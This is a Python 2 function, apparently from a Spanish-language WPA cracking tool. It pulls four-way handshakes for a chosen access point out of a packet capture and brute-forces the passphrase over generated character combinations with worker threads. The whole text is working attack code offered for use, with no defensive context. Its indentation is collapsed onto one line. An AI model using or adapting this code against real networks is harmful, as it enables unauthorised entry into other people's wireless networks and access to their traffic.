def crack_WPA_sin_dicc(capFilePath, usersMac, SSID, universo, longitud, inicio=False, fin=False, bufferSize=1231231): global numOfPs passQueue = Queue() foundPassQ = Queue() passQueue.status = "activo" ingresar_comb_thread = Thread( target=insertar_combinaciones, args=(passQueue, universo, longitud), kwargs=({"inicio": inicio, "fin" : fin, "bufferSize": bufferSize}) ) ingresar_comb_thread.start() clients = extraer_cap_info(capFilePath) clientHandshakes = [] for client in clients: handshake = [] for message in clients[client]: if message['message'] == 1: handshake = [message] elif len(handshake) == 1: handshake.append(message) clientHandshakes.append(handshake) break else: handshake = [] for clientHandshake in clientHandshakes: if clientHandshake[0]['AP'] == usersMac: threads = [ Thread( target=crackProcess, args=( SSID, clientHandshake[0]['client'], clientHandshake[0]['AP'], clientHandshake[0]['Anonce'], clientHandshake[1]['Snonce'], clientHandshake[1]['mic'], clientHandshake[1]['data'], passQueue, foundPassQ ) ) for x in xrange(numOfPs) ] for th in threads: th.start() shell.init_anykey() try: while True: sleep(0.001) os.system("clear") print 'crackeando handshake...\npuedes detener el proceso presionando la letra "c" (despues podra ser reanudado)\n' #TODO: IMPRIMIR AQUI INFORMACION SOBRE EL PROCESO DE CRACKEO key = os.read(sys.stdin.fileno(), 1) if key == 'c': passQueue.status = "detener" break if foundPassQ.empty(): if passQueue.status != "activo": returnVal = None print "fin de sesion." return else: passphrase = foundPassQ.get() passQueue.status = "finalizado" return passphrase shell.term_anykey() except Exception as e: shell.term_anykey() raise e